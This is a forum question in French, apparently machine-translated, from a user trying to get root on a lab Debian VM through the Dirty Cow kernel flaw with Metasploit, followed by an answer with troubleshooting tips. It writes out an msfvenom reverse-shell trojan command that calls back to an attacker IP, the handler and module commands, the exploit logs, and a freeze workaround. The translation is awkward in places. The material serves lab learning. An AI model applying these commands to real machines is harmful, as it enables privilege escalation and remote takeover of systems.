Exploiter Dirty Cow à l'aide de Metasploit
Je teste certaines de mes machines virtuelles Linux en essayant d'exploiter la vulnérabilité Dirty Cow et je ne parviens pas à utiliser Metasploit. Tout d'abord ... pour les utilisateurs intéressés, quelques liens vers "Dirty Cow, What is" vulnérabilité, "Noyaux affectés" et explication =. Je vais vous expliquer la version longue, peut-être utile comme manuel pour les autres. La question est dans la dernière phrase!
Je sais que vous devez pouvoir lancer des commandes depuis la machine "victime possible" et que le noyau doit être l'un des affectés. Bien, je travaille avec une Debian Jessie VM utilisant le noyau 3.16 (qui est affecté).
Je sais que nous pouvons le compiler manuellement etc ... mais le but de mon laboratoire est d'essayer "d'automatiser" un peu en utilisant Metasploit. Tout d'abord, j'ai téléchargé l'exploit à utiliser avec le framework Metasploit. Est le .rb fichier téléchargé depuis Rapid7 Github et adapté pour Metasploit par nixawk.
J'ai déjà mis le .rb fichier dans le bon dossier pour Metasploit, dans mon cas, utiliser Kali comme "attaquant" est /usr/share/metasploit-framework/modules/exploits/linux/local/ car est sur la catégorie linux, etc. Maintenant, je peux voir depuis msfconsole l'exploit en utilisant search dirtycow. Donc tout va bien chez Metasploit! maintenant je peux l'utiliser. Allons travailler...
Après avoir sélectionné l'exploit use exploit/linux/local/DirtyCow montrant les options show options, Je peux voir aussi simple que de définir la session sur laquelle nous allons essayer de réaliser l'exploit. Nous n'avons pas encore de session. Au début, je ne savais pas s'il fallait une séance métrique ou quel genre de séance. Après quelques tests, il semble qu'une session Shell Linux soit nécessaire. Ok, préparons le cheval de Troie avec le shell linux tcp inverse en utilisant msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.159 LPORT=4444 -f elf > /root/Desktop/testTroj. L'IP est l'endroit où mon linux "attaquant" Kali est, le port est ok, il y a une communication entre les deux machines (victime et attaquant) car elles sont sur le même LAN, pas de pare-feu, etc.
J'ai préparé "l'écoute" de Metasploit pour la session Shell en utilisant use exploit/multi/handler, puis définissant la charge utile, dans ce cas set payload linux/x86/Shell/reverse_tcp. Après cela, j'ai défini les paramètres nécessaires, le port est le 4444 par défaut, donc ça va, set lhost 192.168.0.159 qui est l'attaquant de lan peut être l'IP de la machine Kali et c'est tout. Je lance l'exploit en le gardant "à l'écoute" en arrière-plan en utilisant exploit -j.
Ensuite, j'ai copié manuellement le fichier avec le "présent" du cheval de Troie sur la machine Debian de la victime et je l'ai exécuté en tant que root. Sur Metasploit, la session est créée en arrière-plan avec l'ID 1. Tout va bien. Maintenant, nous sélectionnons à nouveau l'exploit de DirtyCow en utilisant use exploit/linux/local/DirtyCow et définissez le paramètre unique nécessaire avec l'ID de notre session set session 1 parce que l'autre paramètre est correct, /tmp est ok, le chemin existe et il y a des permissions d'écriture pour tout le monde. Prêt à partir ... Je lance l'exploit en utilisant exploit et voici ma sortie:
[*] Started reverse TCP handler on 192.168.0.159:4444
[*] Compiling /tmp/UzUvDldaCr.c via gcc
[*] Executing at 2016-12-14 22:10:51 +0100.
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.c' on the target
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.out' on the target
[*] Exploit completed, but no session was created.
Cela n'a pas fonctionné ... je ne sais pas ce que je fais mal ... J'essaie d'entrer dans la session pour voir ce qui s'est passé en utilisant sessions -i 1 et voici ce que j'ai trouvé:
[*] Starting interaction with 1...
2737988140
CdjEPizWwVtmWTWAIRRYUSplYyfsbGNI
3.16.0-4-AMD64
UkbrQnewfsTjJuZHVygXpxDIFUhDHrVC
65537
ibcpgKMTLBVjxRyDsYoBnPMXbihygWlH
��ABCD%%
rgRjAKXaPFXlRUVEilZIdCSnvUxWncoo
GLrEcejVuhmqQOuCOdSONoLbOBudHGeX
/tmp/UzUvDldaCr.c: In function 'procselfmemThread':
/tmp/UzUvDldaCr.c:55:14: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
lseek(f, map, SEEK_SET);
^
In file included from /tmp/UzUvDldaCr.c:8:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^
collect2: fatal error: cannot find 'ld'
compilation terminated.
GGYjQWGSfKLntgwhprtYiCsLJKndFUxl
chmod: cannot access '/tmp/UzUvDldaCr.out': No such file or directory
/bin//sh: 19: /tmp/UzUvDldaCr.out: not found
bQKiCptqxwqFyDAjNVVWmXvVmvedCSXd
UVKeynQmJkUxYjSUNJOnVOhDbQdvTykf
uMNhdcrJsOycUmRPavHrBJieIZEeBOHd
ld
ld: no input files
Je ne sais pas ce qui se passe. Les commandes gcc et ld sont disponibles sur la machine victime de Debian ...
Est-ce que tout va bien du côté des attaquants? Est-ce que je fais quelque chose de mal? Ou y a-t-il un problème sur la machine de la victime? Peut-être le manque d'un outil ou quelque chose. Si quelqu'un peut me guider ... Merci!
[~ # ~] modifier [~ # ~] : J'ai essayé d'exécuter le cheval de Troie en utilisant root et j'ai aussi testé en utilisant un utilisateur normal sur la machine victime de Debian. .. la session Shell est créée dans les deux cas mais le résultat final est le même ... même erreur, même journal.
EDIT 2 : Le module Metasploit est basé sur cowroot PoC, j'ai donc téléchargé le fichier cowroot.c depuis ici , copié manuellement sur la machine victime de Debian pour essayer de le compiler manuellement au lieu d'utiliser Metasploit. J'ai suivi les instructions $ gcc cowroot.c -o cowroot -pthread et j'ai obtenu une erreur différente ... Quelques avertissements mais aucune erreur fatale:
cowroot.c: In function 'procselfmemThread':
cowroot.c:98:17: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
lseek(f, map, SEEK_SET);
^
In file included from cowroot.c:27:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^
Et si vous essayez, cela fonctionne à moitié ... Je veux dire si vous l'exécutez $ ./cowroot il abandonne le shell racine ... mais après un certain temps, la machine victime entière se bloque complètement. Alors maintenant je suis perdu ... Pourquoi ne travaille pas sur Metasploit? Est normal d'avoir O.S. gelé après avoir exploité la vulnérabilité Dirty Cow? Peut-être que le gel pourrait être dû à des avertissements de compilation?
EDIT 3 : Il existe une solution de contournement pour le problème de gel. Après quelques recherches sur Google, j'ai constaté que si vous exécutez précédemment (ou rapidement après avoir abandonné le shell racine avant de geler) sur la machine de la victime, ce echo 0 > /proc/sys/vm/dirty_writeback_centisecs, alors vous lancez l'exploit et il ne bloque pas le système. J'ai cherché dans le code du module Metasploit (DirtyCow.rb) et j'ai trouvé ceci:
def on_new_session(client)
client.Shell_command_token('echo 0 > /proc/sys/vm/dirty_writeback_centisecs')
end
Donc je suppose qu'après la connexion avec metasploit, le système ne va pas se bloquer ... Mais le point ne fonctionne toujours pas depuis Metasploit. : /
Un certain nombre de choses:
1) À quoi fixez-vous votre objectif? Si le système pour lequel vous compilez l'exploit exécute un noyau 64 bits, cela peut provoquer des problèmes. La cible par défaut est définie sur 32 bits.
2) Lorsque vous définissez votre variable SESSION, assurez-vous de vérifier les options d'exploits pour vous assurer qu'elle est correctement définie.
3) Sur la cible, assurez-vous que/usr/bin/passwd existe et est suid à root. Assurez-vous également que gcc se trouve dans/usr/bin/gcc, l'exploit n'utilise pas la variable d'environnement PATH pour trouver l'un de ces fichiers.
4) Lorsque vous interagissez avec la session après avoir exécuté l'exploit, pouvez-vous émettre des commandes Shell? Vous ne verrez peut-être pas d'invite, mais essayez d'exécuter "id" ou quelque chose pour voir si vous récupérez STDOUT.